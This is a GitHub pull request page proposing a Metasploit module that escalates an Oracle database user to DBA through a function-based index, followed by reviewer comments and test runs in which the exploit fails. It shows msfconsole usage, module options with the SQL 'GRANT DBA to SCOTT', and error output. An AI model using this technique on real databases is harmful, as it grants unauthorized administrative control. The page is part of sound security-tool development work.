Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Oracle DB Priv Esc via function-based index #8803

Closed
wants to merge 4 commits into from
Closed

Add Oracle DB Priv Esc via function-based index #8803

wants to merge 4 commits into from

Conversation

moshekaplan
Copy link
Contributor

@moshekaplan moshekaplan commented Aug 7, 2017

Adds a Metasploit module for escalating an Oracle DB user to DBA
through abusing index privileges to create a function-based index
that runs with the privileges of the table owner, instead of the
user who created the index.

This module was tested on Oracle Database 11g Express Edition
Release 11.2.0.2.0 - 64 bit Production.

A user can query for their privileges with the following:
SELECT * FROM session_privs

The user will need to disconnect and reconnect after running
the exploit to access their new privileges.

Verification

List the steps needed to make sure this thing works

  • Connect via sqlplus, and check current privileges:
    • Ex: sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB
    • Ex: SELECT * FROM session_privs
  • Start msfconsole
  • use auxiliary/admin/oracle/oracle_index_privesc
  • exploit
  • Reconnect with sqlplus and check privileges post-exploit:
    • Ex: sqlplus SCOTT/TIGER@192.168.3.100:1521/XEXDB
    • Ex: SELECT * FROM session_privs
  • Verify that the user has more privileges post-exploit.
  • The mechanism behind the privilege escalation was published by David Litchfield here

moshekaplan and others added 2 commits August 6, 2017 23:07
Adds a Metasploit module for escalating an Oracle DB user to DBA 
through abusing index privileges to create a function-based index 
that runs with the privileges of the table owner, instead of the 
user who created the index.

This module was tested on Oracle Database 11g Express Edition 
Release 11.2.0.2.0 - 64 bit Production.

A user can query for their privileges with the following:
SELECT * FROM session_privs

The user will need to disconnect and reconnect after running
the exploit to access their new privileges.
@moshekaplan moshekaplan changed the title Add Oracle DB Priv Esc via function-based index (#1) Add Oracle DB Priv Esc via function-based index Aug 7, 2017
end

def run
return if not check_dependencies
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Generally prefer C-style operators. return if !check_dependencies or return unless check_dependencies.

'Description' => %q{
This module will escalate an Oracle DB user to DBA by creating a function-based index on a table owned by a more-privileged user. Credits to David Litchfield for publishing the technique.
},
'Author' => [ 'Moshe Kaplan' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can list David Litchfield here with comment describing contribution.

@wvu
Copy link
Contributor

wvu commented Aug 7, 2017

Next time, please create a topic branch to work from. Doing stuff from master can lead to weird divergence in code if you have multiple PRs. See https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md.

@wvu wvu assigned wvu and unassigned wvu Aug 7, 2017
@pbarry-r7
Copy link
Contributor

Thanks for your PR, @moshekaplan. Would you mind adding a markdown file of documentation? Something like this. Thanks!

@pbarry-r7
Copy link
Contributor

Per IRC discussion, verifier of this PR should please fill out the missing bits in the documentation markdown. TIA!

@pbarry-r7 pbarry-r7 self-assigned this Sep 5, 2017
@pbarry-r7
Copy link
Contributor

I grabbed the vulnerable SW, can verify this week.

@pbarry-r7
Copy link
Contributor

I was trying this out and bumped into an interesting run:

msf auxiliary(oracle_index_privesc) > run

[*] Running exploit...
[*] Attempting to create function GETDBA_SYSTEM_ztbe...
[*] CREATE successful
[*] Attempting to create index exploit_index__SYSTEM_ztbe...
[*] ORA-01031: insufficient privileges
[*] CREATE successful
[*] Querying to trigger function...
[*] Cleaning up index...
[*] ORA-01418: specified index does not exist
[*] DROP successful
[*] Cleaning up function...
[*] DROP successful
[*] Exploit complete!
[*] Auxiliary module execution completed

It appears that the prepare_exec() method in lib/msf/core/exploit/oracle.rb is, in this code path, catching the OCIError exception and printing it out, but then returning to the calling code. So modules like this one have no chance to catch this exception, themselves, and appropriately react.

Certainly this isn't the only Oracle-related module subject to this behavior, I'm just mentioning it here in case there's thoughts/guidance others with better knowledge of the system might offer (before I go make any changes to framework's Oracle prepare_exec() method). :)

@pbarry-r7
Copy link
Contributor

Just for posterity, I did get a success path working with this module, but didn't see that it worked due to my n00b-ness with OracleDB. I'll finish validating this week.

@pbarry-r7
Copy link
Contributor

Hey @moshekaplan, my apologies for the delay. I spent some time this weekend standing up a clean setup and trying to repo the expected module behavior, but I just can't seem to get it to work. Lemme run the details by you in case you see something I'm doing in error. I'm using a Windows 8.1 x64 VM target running the following Oracle version:

SQL> select * from V$VERSION;

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
CORE    11.2.0.2.0      Production
TNS for 64-bit Windows: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production

After a clean install of the Oracle DB, I used the ?/rdbms/admin/scott.sql script to setup the SCOTT/TIGER user and associated tables. Then pulled this PR code and ran:

$ ./msfconsole -q
msf > use auxiliary/admin/oracle/oracle_index_privesc
/home/pbarry/.rvm/rubies/ruby-2.4.1/lib/ruby/site_ruby/2.4.0/oci8/bindtype.rb:216: warning: constant ::Fixnum is deprecated
/home/pbarry/.rvm/rubies/ruby-2.4.1/lib/ruby/site_ruby/2.4.0/oci8/bindtype.rb:219: warning: constant ::Bignum is deprecated
/home/pbarry/.rvm/rubies/ruby-2.4.1/lib/ruby/site_ruby/2.4.0/oci8/compat.rb:73: warning: constant ::Fixnum is deprecated
msf auxiliary(oracle_index_privesc) > set rhost 10.0.2.5
rhost => 10.0.2.5
msf auxiliary(oracle_index_privesc) > show options 

Module options (auxiliary/admin/oracle/oracle_index_privesc):

   Name    Current Setting     Required  Description
   ----    ---------------     --------  -----------
   DBPASS  TIGER               yes       The password to authenticate with.
   DBUSER  SCOTT               yes       The username to authenticate with.
   RHOST   10.0.2.5            yes       The Oracle host.
   RPORT   1521                yes       The TNS port.
   SID     ORCL                yes       The sid to authenticate with.
   SQL     GRANT DBA to SCOTT  yes       SQL to execute.
   TABLE   SYS.DUAL            yes       Table to create the index on.

msf auxiliary(oracle_index_privesc) > set SID XEXDB
SID => XEXDB
msf auxiliary(oracle_index_privesc) > run

[*] Running exploit...
[*] Attempting to create function GETDBA_SCOTT_iVc...
[*] CREATE successful
[*] Attempting to create index exploit_index__SCOTT_iVc...
/home/pbarry/.rvm/rubies/ruby-2.4.1/lib/ruby/site_ruby/2.4.0/oci8/oci8.rb:502: warning: constant ::Fixnum is deprecated
[*] ORA-01031: insufficient privileges
[*] CREATE successful
[*] Querying to trigger function...
[*] Cleaning up index...
[*] ORA-01418: specified index does not exist
[*] DROP successful
[*] Cleaning up function...
[*] Exploit complete!
[*] Auxiliary module execution completed

It appears the ORA-01031: insufficient privileges error comes from the create_function's line 6, trying to execute the GRANT DBA to , which seems expected at this point of the module since we just want to create the index with this function and the actual execution we care about should be triggered by the subsequent SELECT * FROM <TABLE>.

But I noticed that this expected execution via SELECT * FROM <TABLE> doesn't appear to trigger the index function. And then the "Cleaning up index" throws a ORA-01418: specified index does not exist error, so I wasn't sure the index is being successfully created in the earlier step. Sure enough, listing ALL_INDEXES doesn't show the created index. Appears that my install doesn't grant PUBLIC the ability to create indexes on SYS.DUAL by default.

Per the Litchfield's writeup, I tried creating a new table (with SYSTEM as the owner) and granting PUBLIC permission to create an index. But I get an error (which I haven't dug into yet):

msf auxiliary(oracle_index_privesc) > set TABLE SYSTEM.fish
TABLE => SYSTEM.fish
msf auxiliary(oracle_index_privesc) > run

[*] Running exploit...
[*] Attempting to create function GETDBA_SCOTT_Kix...
[*] CREATE successful
[*] Attempting to create index exploit_index__SCOTT_Kix...
/home/pbarry/.rvm/rubies/ruby-2.4.1/lib/ruby/site_ruby/2.4.0/oci8/oci8.rb:502: warning: constant ::Fixnum is deprecated
[*] ORA-01031: insufficient privileges
[*] CREATE successful
[*] Querying to trigger function...
[*] ORA-01031: insufficient privileges
[*] Error!
[*] Auxiliary module execution completed

If you see anything in the above (or note a difference in your setup), I'm all ears. I'll circle back to digging more on this later this week, for sure.

@jrobles-r7
Copy link
Contributor

It is required that code in your fork be merged from a unique branch in your repository to master in Rapid7's. Please create a new branch in your fork of framework and resubmit this from that branch.

git checkout -b <BRANCH_NAME>
git push <your_fork_remote> <BRANCH_NAME>

This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.

Closing based on the this requirement, please do resubmit from a unique branch.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants